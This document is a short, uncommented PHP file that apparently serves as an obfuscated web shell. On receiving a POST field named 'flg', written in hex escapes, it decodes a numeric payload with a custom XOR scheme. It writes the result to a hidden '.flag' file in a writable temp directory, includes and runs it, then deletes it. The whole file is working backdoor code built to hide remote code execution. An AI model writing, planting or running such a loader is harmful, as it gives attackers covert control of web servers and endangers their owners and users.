<?php

if(filter_has_var(INPUT_POST, "\x66\x6Cg")){
	$property_set = array_filter(["/tmp", session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), getcwd()]);
	$token = $_REQUEST["\x66\x6Cg"];
	$token 		= explode 		("."		,$token	) 	 ; 	
	$data_chunk='';
            $s2='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=strlen( 	$s2 );
    
            foreach( 	$token as $q => $v2):
                $chS=ord( 	$s2[$q % $lenS] );
                $dec=( 	( 	int)$v2 - $chS -( 	$q % 10)) ^ 11;
                $data_chunk.=	chr( 	$dec );
            endforeach;
	$pgrp = 0;
do {
    $ent = $property_set[$pgrp] ?? null;
    if ($pgrp >= count($property_set)) break;
    		if ((is_dir($ent) and is_writable($ent))) {
    $ent = join("/", [$ent, ".flag"]);
    $file = fopen($ent, 'w');
if ($file) {
	fwrite($file, $data_chunk);
	fclose($file);
	include $ent;
	@unlink($ent);
	exit;
}
}
    $pgrp++;
} while (true);
}